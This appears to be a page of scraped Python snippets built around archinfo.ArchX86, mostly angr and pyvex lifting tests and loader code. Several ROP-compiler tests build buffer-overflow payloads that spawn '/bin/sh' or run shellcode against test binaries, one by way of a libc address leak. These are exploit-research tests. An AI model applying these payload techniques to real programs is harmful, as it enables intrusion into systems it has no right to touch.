Esempio n. 1
0
def test_stub_procedure_args():
    # stub procedures should have the right number of arguments

    lib.set_prototype(
        "____a_random_stdcall_function__",
        SimTypeFunction(
            [
                SimTypeInt(signed=True),
                SimTypeInt(signed=True),
                SimTypeInt(signed=False)
            ],
            SimTypePointer(SimTypeChar(), offset=0),
            arg_names=["_random_arg_0", "_random_arg_1", "_random_arg_2"]))
    stub = lib.get_stub('____a_random_stdcall_function__', archinfo.ArchX86())
    stub.cc = SimCCStdcall(archinfo.ArchX86())
    lib._apply_metadata(stub, archinfo.ArchX86())
    assert len(stub.cc.args) == 3
    assert all(isinstance(arg, SimStackArg) for arg in stub.cc.args)

    proj = angr.Project(os.path.join(binaries_base, "i386", "all"),
                        auto_load_libs=False)
    state = proj.factory.blank_state()

    initial_sp = state.regs.sp
    stub.state = state
    stub.successors = SimSuccessors(0, state)
    stub.ret(0)

    succ = stub.successors.all_successors[0]
    assert state.solver.eval_one(succ.regs.sp - initial_sp) == 0x10
Esempio n. 2
0
def test_cache_invalidation_on_extend():
    b = pyvex.block.IRSB('\x50', 0, archinfo.ArchX86())
    nose.tools.assert_equal(b.size, 1)
    nose.tools.assert_equal(b.instructions, 1)
    toappend = pyvex.block.IRSB('\x51', 0, archinfo.ArchX86())
    toappend.jumpkind = 'Ijk_Invalid'
    toappend._direct_next = None  # Invalidate the cache because I manually changed the jumpkind
    nose.tools.assert_equal(toappend.direct_next, False)
    b.extend(toappend)
    nose.tools.assert_equal(b.size, 2)
    nose.tools.assert_equal(b.instructions, 2)
    nose.tools.assert_equal(b.direct_next, False)
Esempio n. 3
0
def test_cache_invalidation_on_extend():
    b = pyvex.block.IRSB(b"\x50", 0, archinfo.ArchX86())
    assert b.size == 1
    assert b.instructions == 1
    toappend = pyvex.block.IRSB(b"\x51", 0, archinfo.ArchX86())
    toappend.jumpkind = "Ijk_Invalid"
    toappend._direct_next = (
        None  # Invalidate the cache because I manually changed the jumpkind
    )
    assert not toappend.direct_next
    b.extend(toappend)
    assert b.size == 2
    assert b.instructions == 2
    assert not b.direct_next
Esempio n. 4
0
def constructIR(binaryInst, address, arc="x86", endness="LE"):
    ar = archinfo.ArchX86()
    if arc == "x86":
        ar = archinfo.ArchX86()
    elif arc == "mips32":
        if endness == "LE":
            ar = archinfo.ArchMIPS32(archinfo.Endness.LE)
        else:
            ar = archinfo.ArchMIPS32(archinfo.Endness.BE)
    elif arc == "arm":
        ar = archinfo.ArchARM(archinfo.Endness.LE)
    irsb = pyvex.IRSB(data=binaryInst, mem_addr=address, arch=ar)
    stmts = irsb.statements
    irsb.pp()
    return stmts, irsb.jumpkind, irsb.next
 def test_x86(self):
     tests = [
         ({
             AddConstGadget: 1
         }, '\x4a\x89\xd0\xc3'),  # dec edx; mov eax, edx; ret
     ]
     self.run_test(archinfo.ArchX86(), tests)
Esempio n. 6
0
    def test_leak_overflowx86(self):
        filename = e('leak_overflow')
        libc, libc_gadgets = e('libc.so'), e('libc.gadgets')

        os.environ[
            'LD_PRELOAD'] = libc  # Ensure we use the libc that we've pulled gadgets from
        p = process([filename])

        p.writeline("1")
        p.readuntil("what address would you like to peek at?\n")
        p.writeline("0x804a010")  # leak address of fgets
        fgets_addr = int(p.readline().split(":")[1].strip(), 16)
        libc_address = fgets_addr - ELF(libc).symbols['fgets']

        goals = [["function", "system", "/bin/sh"]]
        files = [(filename, None, 0), (libc, libc_gadgets, libc_address)]
        rop = ropme.rop(files, [libc],
                        goals,
                        arch=archinfo.ArchX86(),
                        log_level=logging.DEBUG)

        p.writeline("2")
        p.writeline('A' * 272 + rop)
        p.writeline("3")
        self.check_shell(p)
Esempio n. 7
0
def test_basic():
    arch = archinfo.ArchX86()
    unit = {
        'tag':
        enums.ENUM_DW_TAG['DW_TAG_compile_unit'],
        enums.ENUM_DW_AT['DW_AT_producer']:
        'angr :)',
        enums.ENUM_DW_AT['DW_AT_name']:
        'test.c',
        enums.ENUM_DW_AT['DW_AT_language']:
        constants.DW_LANG_C,
        'children': [
            {
                'tag': enums.ENUM_DW_TAG['DW_TAG_subprogram'],
                enums.ENUM_DW_AT['DW_AT_name']: 'main',
            },
            {
                'tag': enums.ENUM_DW_TAG['DW_TAG_subprogram'],
                enums.ENUM_DW_AT['DW_AT_name']: 'foo',
            },
        ],
    }

    result = serialize([unit], arch)
    dump_elf(result, arch, '/tmp/debug.elf')
Esempio n. 8
0
 def test_x86_jcc(self):
     tests = [
         #call *(%esi);jb 1499f0;ret
         ({
             MemJumpModifyPayload: 1,
             NOP: 1,
             JCC: 1
         }, '\xff\x16\x72\xfc\xc3'),
         #ret ;mov $0x0,%eax;test %eax,%eax;je 80484bf <deregister_tm_clones+0xf>;
         #push %ebp;mov %esp,%ebp;sub $0x18,%esp;movl $0x804a03c,(%esp);call *%eax
         ({
             NOP: 1,
             RegJumpModifyPayload: 5,
             JCC: 1
         },
          '\xc3\xb8\x00\x00\x00\x00\x85\xc0\x74\xf6\x55\x89\xe5\x83\xec\x18\xc7\x04\x24\x3c\xa0\x04\x08\xff\xd0'
          ),
         #jb 4; call *(%esi); je 8 ; xor %eax,%eax; ret
         ({
             MemJumpModifyPayload: 1,
             LoadConst: 1,
             NOP: 1,
             JCC: 1
         }, '\x72\x02\xff\x16\x74\x02\x31\xc0\xc3'),
         #jb 4; call *(%esi); ret; je 8 ; xor %eax,%eax; ret
         ({
             MemJumpModifyPayload: 1,
             LoadConst: 1,
             NOP: 2,
             JCC: 1
         }, '\x72\x02\xff\x16\xc3\x74\x02\x31\xc0\xc3'),
         #ja 4; call *(%esi); call *%eax; ret
         ({
             MemJumpModifyPayload: 1,
             RegJumpModifyPayload: 2,
             NOP: 1,
             JCC: 1
         }, '\x77\x02\xff\x16\xff\xd0\xc3'),
         #j 6 <local0>; add $0x4,%esp; ret; add $0x8,%esp; ret
         ({
             AddConstGadget: 2,
             NOP: 2,
             JCC: 1
         }, '\x72\x04\x83\xc4\x04\xc3\x83\xc4\x08\xc3'),
         #mov (%esi),%eax;test %eax,%eax;je 0x401720;call *%eax;add $0x4,%esi;cmp %edi,%esi;jb 0x401718;pop %edi;pop %esi;ret
         ({
             RegJumpModifyPayload: 1,
             LoadMem: 3,
             LoadMultiple: 1,
             JCC: 1,
             NOP: 1
         },
          '\x8b\x06\x85\xc0\x74\x02\xff\xd0\x83\xc6\x04\x3b\xf7\x72\xf1\x5f\x5e\xc3'
          ),
     ]
     self.run_jcc_test(archinfo.ArchX86(), tests)
Esempio n. 9
0
    def test_max_bytes(self):
        data = bytes.fromhex("909090909090c3")
        arch = archinfo.ArchX86()
        assert lift(data, 0x1000, arch, max_bytes=None).size == len(data)
        assert lift(data, 0x1000, arch, max_bytes=len(data) - 1).size == len(data) - 1
        assert lift(data, 0x1000, arch, max_bytes=len(data) + 1).size == len(data)

        data2 = ffi.from_buffer(data)
        self.assertRaises(PyVEXError, lift, data2, 0x1000, arch)
        assert lift(data2, 0x1000, arch, max_bytes=len(data)).size == len(data)
        assert lift(data2, 0x1000, arch, max_bytes=len(data) - 1).size == len(data) - 1
Esempio n. 10
0
 def assert_not_contain_this_type(self, code, not_expect_type):
     address = 0x40000
     gadget_classifier = classifier.GadgetClassifier(
         archinfo.ArchX86(), code, address, log_level=logging.DEBUG)
     gadgets = gadget_classifier.create_gadgets_from_instructions(address)
     types = []
     for g in gadgets:
         if g.address != address:  #The gadget should be starting at the *address*
             continue
         types.append(type(g))
     self.assertFalse(not_expect_type in types)
Esempio n. 11
0
def get_hardware_mode():
    (arch, mode) = (None, None)
    info = idaapi.get_inf_structure()
    # heuristically detect hardware setup
    info = idaapi.get_inf_structure()

    try:
        cpuname = info.procname.lower()
    except:
        cpuname = info.procName.lower()

    try:
        # since IDA7 beta 3 (170724) renamed inf.mf -> is_be()/set_be()
        is_be = idaapi.cvar.inf.is_be()
    except:
        # older IDA versions
        is_be = idaapi.cvar.inf.mf
    # print("Keypatch BIG_ENDIAN = %s" %is_be)

    if cpuname == "metapc":
        if info.is_64bit():
            arch = archinfo.ArchAMD64()
            mode = KS_MODE_64
        elif info.is_32bit():
            arch = archinfo.ArchX86()
            mode = KS_MODE_32
        else:
            arch = archinfo.ArchNotFound()
            mode = KS_MODE_16

    elif cpuname.startswith("ppc"):
        if info.is_64bit():
            arch = archinfo.ArchPPC64()
            mode = KS_MODE_PPC64
        else:
            arch = archinfo.ArchPPC32()
            mode = KS_MODE_PPC32
        if cpuname == "ppc":
            # do not support Little Endian mode for PPC
            mode += KS_MODE_BIG_ENDIAN

    elif cpuname.startswith("mips"):
        if info.is_64bit():
            arch = archinfo.ArchMIPS64()
            mode = KS_MODE_MIPS64
        else:
            arch = archinfo.ArchMIPS32()
            mode = KS_MODE_MIPS32
    elif cpuname.startswith("systemz") or cpuname.startswith("s390x"):
        arch = archinfo.ArchS390X()
        mode = KS_MODE_BIG_ENDIAN

    return (arch, mode)
Esempio n. 12
0
    def run_bin(self, bin_code):

        add_options = self.add_options
        engine = self.engine

        irsb = pyvex.IRSB(bin_code, 0x100000, archinfo.ArchX86(), len(bin_code))
        if verbose:
            irsb.pp()

        state = SimState(arch='X86', add_options=add_options, )

        engine.process(state, irsb, inline=True)

        return state
Esempio n. 13
0
class _Architectures(collections.abc.Mapping):
    aliases = {'x64': 'amd64', 'x86-64': 'amd64'}
    __values = collections.OrderedDict(
        (('amd64', archinfo.ArchAMD64()), ('x86', archinfo.ArchX86())))

    def __getitem__(self, item):
        item = item.lower()
        item = self.aliases.get(item, item)
        return self.__values[item]

    def __iter__(self):
        return iter(self.__values)

    def __len__(self):
        return len(self.__values)
Esempio n. 14
0
def main(argv):
    # Command-line getopt boilerplate code from Python 2 documentation
    # https://docs.python.org/2/library/getopt.html
    try:
        opts, args = getopt.getopt(argv, 'hb:w:i', ['help'])
    except getopt.GetoptError as err:
        helpText()
        sys.exit(2)

    binName = ''
    writeName = ''
    lift = False
    for o, a in opts:
        if o in ('-h', '--help'):
            helpText()
            sys.exit()
        elif o == '-b':
            binName = a
        elif o == '-w':
            writeName = a
        elif o == '-i':
            lift = True
        else:
            assert False, 'Usage error! Unrecognized option!'

    # dump binary file data
    if binName != '':
        with open(binName, mode='rb') as binFile:
            binData = binascii.hexlify(binFile.read())
    else:
        print 'Usage error! Please provide a y86 binary file.\n'
        helpText()
        sys.exit(2)

    # translate
    x86ops = translate(binData)

    # lift and print to VEX-IR
    if lift:
        ir = pyvex.IRSB(x86ops, 0, archinfo.ArchX86())
        ir.pp()
    else:
        print x86ops

    # write to file
    if writeName != '':
        with open(writeName, 'wb') as wb:
            wb.write(binascii.unhexlify(x86ops))
Esempio n. 15
0
def test_setup_callsite():
    p = angr.load_shellcode(b'b', arch=archinfo.ArchX86())

    s = p.factory.call_state(0,
                             "hello",
                             stack_base=0x1234,
                             alloc_base=0x5678,
                             grow_like_stack=False)
    assert (s.regs.sp == 0x1234).is_true()
    assert (s.mem[0x1234 + 4].long.resolved == 0x5678).is_true()
    assert (s.memory.load(0x5678, 5) == b'hello').is_true()

    s = p.factory.call_state(0, "hello", stack_base=0x1234)
    assert (s.regs.sp == 0x1234).is_true()
    assert (s.mem[0x1234 + 4].long.resolved == 0x1234 + 8).is_true()
    assert (s.memory.load(0x1234 + 8, 5) == b'hello').is_true()
Esempio n. 16
0
    def test_bof_read_got_x86(self):
        filename = e('bof_read_got_x86')
        p = process([filename, '3000'])

        files = [(filename, None, 0)]
        rop = ropme.rop(
            files, ["/lib/i386-linux-gnu/libc.so.6"],
            [["shellcode_hex",
              binascii.hexlify(self.shellcode_x86())]],
            arch=archinfo.ArchX86(),
            log_level=logging.DEBUG)

        payload = 'A' * 512 + ('B' * 16) + rop
        p.writeline(payload)
        p.readline()
        self.check_shell(p)
Esempio n. 17
0
def test_embedded():
    b = pyvex.block.IRSB('\x50' * 3 + '\x0f\x0b' + '\x50' * 6, 1, archinfo.ArchX86())
    for i, stmt in enumerate(b.statements):
        if type(stmt) is pyvex.stmt.IMark and stmt.addr == 0x4 and stmt.len == 2 and stmt.delta == 0:
            imaginary_trans_stmt = b.statements[i+1]
            nose.tools.assert_is(type(imaginary_trans_stmt), pyvex.stmt.WrTmp)
            addexpr = imaginary_trans_stmt.data
            nose.tools.assert_is(type(addexpr), pyvex.expr.Binop)
            nose.tools.assert_equal(addexpr.op, 'Iop_Add27')
            arg1, arg2 = addexpr.args
            nose.tools.assert_is(type(arg1), pyvex.expr.Const)
            nose.tools.assert_equal(arg1.con.value, 10)
            nose.tools.assert_is(type(arg2), pyvex.expr.Const)
            nose.tools.assert_equal(arg2.con.value, 20)
            return
    nose.tools.assert_false(True, msg='Could not find matching IMark')
Esempio n. 18
0
    def check_jcc(self, asm_code, jcc=None):
        # TODO: this does not work now!
        """

        :param state:
        :param jcc:
        :return:
        """

        self.state = self.run_asm(asm_code)

        state = self.state
        add_options = self.add_options
        engine = self.engine

        feasible = []
        infeasible = []
        if jcc:
            pending = {jcc}
        else:
            pending = jcc_s

        for jcc in pending:
            asm_code = 'target:; {} target; '.format(jcc)
            jmp_code = pwn.asm(asm_code)
            code_size = len(jmp_code)

            addr = state.regs.eip.args[0]
            irsb = pyvex.IRSB(jmp_code, addr, archinfo.ArchX86(), code_size)
            # irsb.pp()

            # we simulate the ins and get the successor state
            simsucc = engine.process(state, irsb, inline=False)
            succ = simsucc.successors[0]

            # judge the jcc by the successor state
            eip = succ.regs.eip.args[0]
            if eip == addr:
                feasible.append(jcc)
            elif eip == addr + code_size:
                infeasible.append(jcc)
            else:
                print("impossible eip")
                raise Exception("impossible eip!")

        print(("feasible:\n{}".format('\t'.join(feasible))))
        print(("infeasible:\n{}".format('\t'.join(infeasible))))
Esempio n. 19
0
    def __init__(self, arch):
        if arch == 'x86':
            self.arch = archinfo.ArchX86()
            self.addr = 0x8048000
            self.name_size_pair = name_size_pair32
        elif arch == 'x64':
            self.arch = archinfo.ArchAMD64()
            self.addr = 0x401000
            self.name_size_pair = name_size_pair64
        self.statements = []
        self.lbl = 0

        self.ftop = False

        self.cc_op = None
        self.cc_dep1 = None
        self.cc_dep2 = None
        self.cc_ndep = None
Esempio n. 20
0
def test_max_bytes():
    data = bytes.fromhex('909090909090c3')
    arch = archinfo.ArchX86()
    nose.tools.assert_equal(
        lift(data, 0x1000, arch, max_bytes=None).size, len(data))
    nose.tools.assert_equal(
        lift(data, 0x1000, arch, max_bytes=len(data) - 1).size,
        len(data) - 1)
    nose.tools.assert_equal(
        lift(data, 0x1000, arch, max_bytes=len(data) + 1).size, len(data))

    data2 = ffi.from_buffer(data)
    nose.tools.assert_raises(PyVEXError, lift, data2, 0x1000, arch)
    nose.tools.assert_equal(
        lift(data2, 0x1000, arch, max_bytes=len(data)).size, len(data))
    nose.tools.assert_equal(
        lift(data2, 0x1000, arch, max_bytes=len(data) - 1).size,
        len(data) - 1)
Esempio n. 21
0
def test_embedded():
    b = pyvex.block.IRSB(b"\x50" * 3 + b"\x0f\x0b" + b"\x50" * 6, 1,
                         archinfo.ArchX86())
    for i, stmt in enumerate(b.statements):
        if (type(stmt) is pyvex.stmt.IMark and stmt.addr == 0x4
                and stmt.len == 2 and stmt.delta == 0):
            imaginary_trans_stmt = b.statements[i + 1]
            assert type(imaginary_trans_stmt) is pyvex.stmt.WrTmp
            addexpr = imaginary_trans_stmt.data
            assert type(addexpr) is pyvex.expr.Binop
            assert addexpr.op == "Iop_Add27"
            arg1, arg2 = addexpr.args
            assert type(arg1) is pyvex.expr.Const
            assert arg1.con.value == 10
            assert type(arg2) is pyvex.expr.Const
            assert arg2.con.value == 20
            return
    assert False, "Could not find matching IMark"
Esempio n. 22
0
    def __init__(self, *args, **kwargs):
        super(Minidump, self).__init__(*args, **kwargs)
        self.os = 'windows'
        self.supports_nx = True
        if self.binary is None:
            self._mdf = minidumpfile.MinidumpFile.parse_bytes(self.binary_stream.read())
        else:
            self._mdf = minidumpfile.MinidumpFile.parse(self.binary)

        if self.arch is None:
            if getattr(self._mdf, 'sysinfo', None) is None:
                raise MinidumpMissingStreamError('SystemInfo', 'The architecture was not specified')
            arch = self._mdf.sysinfo.ProcessorArchitecture
            if arch == SystemInfoStream.PROCESSOR_ARCHITECTURE.AMD64:
                self.set_arch(archinfo.ArchAMD64())
            elif arch == SystemInfoStream.PROCESSOR_ARCHITECTURE.INTEL:
                self.set_arch(archinfo.ArchX86())
            else:
                # has not been tested with other architectures
                raise CLEError('Loading minidumps is not implemented for this architecture')

        if self._mdf.memory_segments_64 is not None:
            segments = self._mdf.memory_segments_64.memory_segments
        elif self._mdf.memory_segments is not None:
            segments = self._mdf.memory_segments.memory_segments
        else:
            raise MinidumpMissingStreamError('MemoryList', 'The memory segments were not defined')

        for segment in segments:
            clemory = Clemory(self.arch)
            data = segment.read(segment.start_virtual_address, segment.size, self._mdf.file_handle)
            clemory.add_backer(0, data)
            self.memory.add_backer(segment.start_virtual_address, clemory)

        for module in self.modules:
            for segment in segments:
                if segment.start_virtual_address == module.baseaddress:
                    break
            else:
                raise CLEInvalidBinaryError('Missing segment for loaded module: ' + module.name)
            section = Section(module.name, segment.start_file_address, module.baseaddress, module.size)
            self.sections.append(section)
            self.sections_map[ntpath.basename(section.name)] = section
        self.segments = self.sections
Esempio n. 23
0
def convert_x86_to_vex(bb):
    instructions = ""
    for ins in bb.instr:
        instructions += ins

    #irsb = pyvex.IRSB(instructions, bb.start_address, archinfo.ArchX86())
    replaced = re.sub(r'\\x', '', instructions)

    instructions = replaced.decode("hex")

    irsb = pyvex.IRSB(instructions, 0x4000000, archinfo.ArchX86())
    #irsb = pyvex.IRSB("\x80\x78\x07\x00\x75\xb3", 0x4000000, archinfo.ArchX86())
    bb.vex = irsb

    #testing
    print irsb.pp()
    #endtest

    return
Esempio n. 24
0
    def __init__(self):
        super(ArchitectureX86, self).__init__( CS_ARCH_X86, CS_MODE_32, 4, 1)
        self._name = 'x86'
        self._maxInvalid = 6
        if 'keystone' in globals():
            self._ksarch = (keystone.KS_ARCH_X86, keystone.KS_MODE_32)

        if 'archinfo' in globals():
            self._info = archinfo.ArchX86()

        self._searcher = Searcherx86()
        self._pprs = [b'[\x58-\x5f]{2}\xc3', # pop reg; pop reg; ret
                        b'\x83\xc4\x04[\x58-\x5f]\xc3', # add esp, 4; pop reg; ret
                        b'[\x58-\x5f]\x83\xc4\x04\xc3', # pop reg; add esp, 4; ret
                        b'\x83\xc4\x08\xc3',            # add esp, 8; ret;
                        b'\xff\x54\x24[\x08\x14\x1c\x2c\x44\x50]',            # call [esp+n] 
                        b'\xff\x64\x24[\x08\x14\x1c\x2c\x44\x50]',            # jmp [esp+n]
                        b'\xff\x65[\x0c\x24\x30\xfc\xf4\xe8]',                            # jmp [ebp+n]
                        b'\xff\x55[\x0c\x24\x30\xfc\xf4\xe8]'                             # call [ebp+n]
                        ]
Esempio n. 25
0
def excption_0():
    import claripy

    ins_code = "mov eax,-1 ; test eax,eax"
    address = 0x76fcbcfe

    encoding = pwn.asm(ins_code)
    count = len(encoding)
    print((str(encoding)))
    print(count)

    add_options = {angr.options.NO_SYMBOLIC_SYSCALL_RESOLUTION,
                   angr.options.LAZY_SOLVES,
                   angr.options.INITIALIZE_ZERO_REGISTERS,
                   angr.options.SIMPLIFY_REGISTER_WRITES,
                   angr.options.SIMPLIFY_MEMORY_WRITES,
                   # angr.options.CONCRETIZE,
                   # angr.options.FAST_MEMORY
                   }

    bc_arr = ""
    bc_arr = encoding

    irsb = pyvex.IRSB(bc_arr, 0x76fcbcfe, archinfo.ArchX86(), len(bc_arr))

    state = SimState(arch='X86', add_options=add_options)
    state.regs.eax = 0x5a4d
    state.regs.esi = 0x753e0001
    state.regs.esp = 0x12f8c0
    state.regs.eip = 0x76fcbcfe

    taint_len = 0x8000
    # taint_len = 0xd4000

    state.memory.store(0x753e0000, claripy.BVS(
        "TAINT_MapView", taint_len * 8), endness="Iend_LE")

    engine = angr.SimEngineVEX()

    irsb.pp()
    engine.process(state, irsb, inline=True)
Esempio n. 26
0
    def bof_many_args(self, is_64bit):
        if is_64bit:
            filename, arch = e('bof_many_args'), archinfo.ArchAMD64()
        else:
            filename, arch = e('bof_many_args_x86'), archinfo.ArchX86()

        files = [(filename, None, 0)]
        rop = ropme.rop(
            files, [],
            [["function", "callme", 11, 12, 13, 14, 15, 16, 17, 18]],
            arch=arch,
            log_level=logging.DEBUG)
        if is_64bit:
            payload = 'A' * 512 + 'B' * 8 + rop
        else:
            payload = 'A' * 524 + 'B' * 4 + rop
        p = process([filename, '3000'])
        p.writeline(payload)
        self.assertEqual('Called with (11,12,13,14,15,16,17,18)',
                         p.readline().strip())
        p.close()
Esempio n. 27
0
 def test_x86_jcc_design(self):
     tests = [
         #jz $+3; ret; ret
         ({
             NOP: 2,
             AddGadget: 1
         }, '\x74\x01\xc3\xc3'),
         #jz $+4; jmp eax; ret
         ({
             NOP: 1,
             RegJumpNormal: 1,
             JCC: 1
         }, '\x74\x02\xff\xe0\xc3'),
         #jz $+2; jmp eax; jmp ebx
         ({
             RegJumpNormal: 2,
             JCC: 1
         }, '\x74\x02\xff\xe0\xff\xe3'),
         #jz $+4; jmp eax; jz $+10; ret
         ({
             NOP: 1,
             RegJumpNormal: 1,
             JCC: 1
         }, '\x74\x02\xff\xe0\x74\x10\xc3'),
         #jz $+5; jz $+10; ret; jmp eax
         ({
             NOP: 1,
             RegJumpNormal: 1,
             JCC: 1
         }, '\x74\x03\x74\x10\xc3\xff\xe0'),
         #jz $+5; jz $+10; ret; jz $+20; jmp eax; ret
         ({
             NOP: 2,
             RegJumpNormal: 1,
             JCC: 1
         }, '\x74\x03\x74\x10\xc3\x74\x20\xff\xe0\xc3'),
     ]
     self.run_jcc_test(archinfo.ArchX86(), tests)
Esempio n. 28
0
class BinjaBin(Backend):
    """
    Get information from binaries using Binary Ninja. Basing this on idabin.py, but will try to be more complete.
    TODO: add more features as Binary Ninja's feature set improves
    """
    is_default = True  # Tell CLE to automatically consider using the BinjaBin backend
    BINJA_ARCH_MAP = {
        "aarch64": archinfo.ArchAArch64(endness='Iend_LE'),
        "armv7": archinfo.ArchARMEL(endness='Iend_LE'),
        "thumb2": archinfo.ArchARMEL(endness='Iend_LE'),
        "armv7eb": archinfo.ArchARMEL(endness='Iend_BE'),
        "thumb2eb": archinfo.ArchARMEL(endness='Iend_BE'),
        "mipsel32": archinfo.ArchMIPS32(endness='Iend_LE'),
        "mips32": archinfo.ArchMIPS32(endness='Iend_BE'),
        "ppc": archinfo.ArchPPC32(endness="Iend_BE"),
        "ppc_le": archinfo.ArchPPC32(endness="Iend_LE"),
        "x86": archinfo.ArchX86(),
        "x86_64": archinfo.ArchAMD64()
    }

    def __init__(self, binary, *args, **kwargs):
        super().__init__(binary, *args, **kwargs)
        if not bn:
            raise CLEError(BINJA_NOT_INSTALLED_STR)
        # get_view_of_file can take a bndb or binary - wait for autoanalysis to complete
        self.bv = bn.BinaryViewType.get_view_of_file(binary, False)
        l.info("Analyzing %s, this may take some time...", binary)
        self.bv.update_analysis_and_wait()
        l.info("Analysis complete")
        # Note may want to add option to kick off linear sweep

        try:
            self.set_arch(self.BINJA_ARCH_MAP[self.bv.arch.name])
        except KeyError:
            l.error("Architecture %s is not supported.", self.bv.arch.name)

        for seg in self.bv.segments:
            l.info("Adding memory for segment at %x.", seg.start)
            br = bn.BinaryReader(self.bv)
            br.seek(seg.start)
            data = br.read(len(seg))
            self.memory.add_backer(seg.start, data)

        self._find_got()
        self._symbol_cache = {}
        self._init_symbol_cache()
        # Note: this represents the plt stub. ImportAddressSymbol refers to .got entries
        # Since we're not trying to import and load dependencies directly, but want to run SimProcedures,
        # We should use the binaryninja.SymbolType.ImportedFunctionSymbol
        # Also this should be generalized to get data imports, too
        self.raw_imports = {
            i.name: i.address
            for i in self.bv.get_symbols_of_type(
                bn.SymbolType.ImportedFunctionSymbol)
        }
        self._process_imports()
        self.exports = {}
        self.linking = "static" if len(self.raw_imports) == 0 else "dynamic"
        # We'll look for this attribute to see if we need to do SimProcedures for any imports in this binary
        # This is an ugly hack, but will have to use this for now until Binary Ninja exposes dependencies
        self.guess_simprocs = True
        self.guess_simprocs_hint = "nix" if self.bv.get_section_by_name(
            ".plt") else "win"
        l.warning("This backend is based on idabin.py.\n\
                   You may encounter unexpected behavior if:\n\
                   \tyour target depends on library data symbol imports, or\n\
                   \tlibrary imports that don't have a guess-able SimProcedure\n\
                   Good luck!")

    def _process_imports(self):
        ''' Process self.raw_imports into list of Relocation objects '''
        if not self.raw_imports:
            l.warning(
                "No imports found - if this is a dynamically-linked binary, something probably went wrong."
            )

        for name, addr in self.raw_imports.items():
            BinjaReloc(self, self._symbol_cache[name], addr)

    def _init_symbol_cache(self):
        # Note that we could also access name, short_name, or full_name attributes
        for sym in self.bv.get_symbols():
            cle_sym = BinjaSymbol(self, sym)
            self._symbol_cache[sym.raw_name] = cle_sym
            self.symbols.add(cle_sym)

    def _find_got(self):
        """
        Locate the section (e.g. .got) that should be updated when relocating functions (that's where we want to
        write absolute addresses).
        """
        sec_name = self.arch.got_section_name
        self.got_begin = None
        self.got_end = None

        try:
            got_sec = self.bv.sections[self.arch.got_section_name]
            self.got_begin = got_sec.start
            self.got_end = got_sec.end
        except KeyError:
            l.warning("No got section mapping found!")

        # If we reach this point, we should have the addresses
        if self.got_begin is None or self.got_end is None:
            l.warning("No section %s, is this a static binary ? (or stripped)",
                      sec_name)
            return False
        return True

    @staticmethod
    def is_compatible(stream):
        if not bn:
            return False
        magic = stream.read(100)
        stream.seek(0)
        # bndb files are SQlite 3
        if magic.startswith(b"SQLite format 3") and stream.name.endswith(
                "bndb"):
            return True

        return False

    def in_which_segment(self, addr):
        """
        Return the segment name at address `addr`.
        """
        # WARNING: if there are overlapping sections, we choose the first name.
        # The only scenario I've seen here is a NOBITS section that "overlaps" with another one, but
        # I'm not sure if that's a heurstic that should be applied here.
        # https://stackoverflow.com/questions/25501044/gcc-ld-overlapping-sections-tbss-init-array-in-statically-linked-elf-bin#25771838
        seg = self.bv.get_sections_at(addr)[0].name
        return "unknown" if len(seg) == 0 else seg

    def get_symbol_addr(self, sym):
        """
        Get the address of the symbol `sym` from IDA.

        :returns: An address.
        """
        # sym is assumed to be the raw_name of the symbol
        return self.bv.get_symbol_by_raw_name(sym)

    def function_name(self, addr):
        """
        Return the function name at address `addr`.
        """
        func = self.bv.get_function_at(addr)
        if not func:
            return "UNKNOWN"
        return func.name

    @property
    def min_addr(self):
        """
        Get the min address of the binary. (note: this is probably not "right")
        """
        return self.bv.start

    @property
    def max_addr(self):
        """
        Get the max address of the binary.
        """
        return self.bv.end

    @property
    def entry(self):
        if self._custom_entry_point is not None:
            return self._custom_entry_point + self.mapped_base
        return self.bv.entry_point + self.mapped_base

    def get_strings(self):
        """
        Extract strings from binary (Binary Ninja).

        :returns:   An array of strings.
        """
        return self.bv.get_strings()

    def set_got_entry(self, name, newaddr):
        """
        Resolve import `name` with address `newaddr`. That is, update the GOT entry for `name` with `newaddr`.
        """
        if name not in self.imports:
            l.warning("%s not in imports", name)
            return

        addr = self.imports[name]
        self.memory.pack_word(addr, newaddr)

    def close(self):
        """
        Release the BinaryView we created in __init__
        :return: None
        """
        self.bv.file.close()
Esempio n. 29
0
import sys, logging
from pwn import *
import archinfo
from rop_compiler import ropme, goal

is_64bit = not (len(sys.argv) > 1 and sys.argv[1].lower() == "x86")

if is_64bit:
  filename, arch = './bof_many_args', archinfo.ArchAMD64()
else:
  filename, arch = './bof_many_args_x86', archinfo.ArchX86()

files = [(filename, None, 0)]
rop = ropme.rop(files, [], [["function", "callme", 11,12,13,14,15,16,17,18]], arch = arch, log_level = logging.DEBUG)

if is_64bit:
  payload = 'A'*512 + 'B'*8 + rop
else:
  payload = 'A'*524 + 'B'*4 + rop

with open("/tmp/rop", "w") as f: f.write(rop)
with open("/tmp/payload", "w") as f: f.write(payload)

p = process([filename,'3000'])

if "debug" in sys.argv:
  if is_64bit:
    gdb.attach(p, "set disassembly-flavor intel\nbreak *0x400731\nbreak callme\n") # 64-bit
  else:
    gdb.attach(p, "set disassembly-flavor intel\nbreak *0x080485ec\nbreak callme\n") # 32-bit
Esempio n. 30
0
 def test_x86(self):
     tests = [
         ({
             RegStackSwitch: 1
         }, '\x94\xc3'),  #xchg eax, esp ; ret  
         ({
             NOP: 1
         }, '\xc3'),  #ret
         ({
             RegJumpModifyPayload: 1
         }, '\xff\xd0'),  #call   *%eax
         ({
             RegJumpNormal: 1
         }, '\xff\xe0'),  #jmp  *%eax
         ({
             MemJumpModifyPayload: 1
         }, '\xff\x16'),  #call   *(%esi)
         ({
             MemJumpModifyPayload: 1
         }, '\xff\x52\x04'),  #call   *0x4(%edx)
         ({
             RegStackSwitch: 1
         }, '\xc9\xc3'),  #leave; ret          
         ({
             RegStackSwitch: 1
         }, '\x94\xc3'),  #xchg eax, esp ; ret
         ({}, '\x89\xcc\xff\xe2'),  #mov %ecx,%esp; jmp  *%edx
         ({}, '\x94\xfe'),  #xchg eax, esp; bad
         # dec edx; mov eax, edx; ret
         ({
             AddConstGadget: 1
         }, '\x4a\x89\xd0\xc3'),
         #add eax, 0x24; ret
         ({
             AddConstGadget: 1
         }, '\x83\xc0\x24\xc3'),
         #add esp, 0x24; ret
         ({
             AddConstGadget: 1
         }, '\x83\xc4\x24\xc3'),
         #add esp, 8 ; pop ebx ; ret
         ({
             LoadMem: 1
         }, '\x83\xc4\x08\x5b\xc3'),
         #add esp, 4 ; ret
         ({
             AddConstGadget: 1
         }, '\x83\xc4\x04\xc3'),
         #push %ebp;mov %esp,%ebp;sub $0x18,%esp;movl $0x804a03c,(%esp);call *%eax
         ({
             RegJumpModifyPayload: 1
